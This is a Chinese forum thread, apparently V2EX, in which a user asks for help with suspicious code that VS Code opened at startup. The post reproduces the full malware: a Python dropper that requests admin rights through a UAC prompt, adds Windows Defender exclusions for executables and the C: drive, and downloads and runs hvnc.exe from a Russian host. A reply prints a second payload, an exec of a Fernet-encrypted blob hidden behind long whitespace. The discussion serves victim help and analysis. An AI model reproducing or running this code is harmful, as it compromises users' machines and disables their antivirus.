开机的时候自动用 vscode 打开了一段代码。ChatGPT 说是病毒？？

代码传网盘了，有没有大佬能看看怎么办😭 https://www.alipan.com/s/ysPCcqoe5TT

第一个文件名是 hvnc.py

import os
import subprocess
script = """
import os

def create_and_run_bat_script():
    bat_script_content = '''
@echo off
set "filePath=%appdata%\Microsoft\emptyfile20947.txt"
:: BatchGotAdmin
:-------------------------------------
REM  --> Check for permissions
    IF "%PROCESSOR_ARCHITECTURE%" EQU "amd64" (
>nul 2>&1 "%SYSTEMROOT%\SysWOW64\cacls.exe" "%SYSTEMROOT%\SysWOW64\config\system"
) ELSE (
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
)

REM --> If error flag set, we do not have admin.
if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params= %*
    echo UAC.ShellExecute "cmd.exe", "/c ""%~s0"" %params:"=""%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
:--------------------------------------    

mkdir "C:\Windows\WinEmptyfold"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.exe'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.dll'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension 'exe'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension 'dll'"
powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:'"

set "temp_file=%TEMP%\hahabonk.exe"

powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://bananasquad.ru/hvnc.exe', '%temp_file%')"

start "" "%temp_file%"
del /q "%appdata%\Microsoft\runpython.py"
'''

    temp_folder = os.environ.get('TEMP', '')
    if temp_folder:
        bat_script_path = os.path.join(temp_folder, 'temp_script.bat')
        with open(bat_script_path, 'w') as bat_file:
            bat_file.write(bat_script_content)
        os.system(bat_script_path)
    else:
        print("Failed to get the TEMP folder path.")

if os.name == 'nt':
    folder_path = r"C:\Windows\WinEmptyfold"
    if os.path.exists(folder_path):
        exit()
    else:
        os.system('timeout 600')
        os.system('taskkill /f /im explorer.exe')
        create_and_run_bat_script()
        while True:
            os.system('timeout 5')
            if os.path.exists(folder_path):
                os.system('start explorer.exe')
                break
            else:
                create_and_run_bat_script()
"""

appdata = os.environ.get('APPDATA', '')
if appdata:
    # create microsoft folder if it doesn't exist
    microsoft_folder = os.path.join(appdata, 'Microsoft')
    if not os.path.exists(microsoft_folder):
        os.mkdir(microsoft_folder)
    script_path = os.path.join(appdata, 'Microsoft', 'runpython.py')
    with open(script_path, 'w') as script_file:
        script_file.write(script)
subprocess.Popen(['python', script_path], creationflags=subprocess.CREATE_NO_WINDOW)

Les1ie

354 天前

恶意代码部分：
```
import os ;os.system('pip install cryptography');os.system('pip install fernet');os.system('pip install requests');from fernet import Fernet;import requests;exec(Fernet(b'yKpskffUwlXAGQtWJiXILDemLKDod4v8DpfKK3ClcHo=').decrypt(b'gAAAAABlv3l_ShNj4Sta_rsNaa9OI2cs0EyIBDdLPw6x4VVSxY9AYPGhGcOClTKrp_TBol_GE50_2GWBH3IfwUsOTJpM5PvjUgD939S4E75PGnNWs_qq9kk1mbhzcEuOumsWSm28OPbC6vs4CjgTliTihSbRedGIUvizU9JdEpFIQfkFU6sbmpBFR9kzI8ttiIoFqxLvEriZ6tvIumAuq_s-A65rXKflng=='))
import requests
import json
```
利用超长的空格欺骗没有开启自动换行的编辑器，的确是未设想的添加后门的方式。这个方法究极简单却有用，稍有不慎我也可能中招了。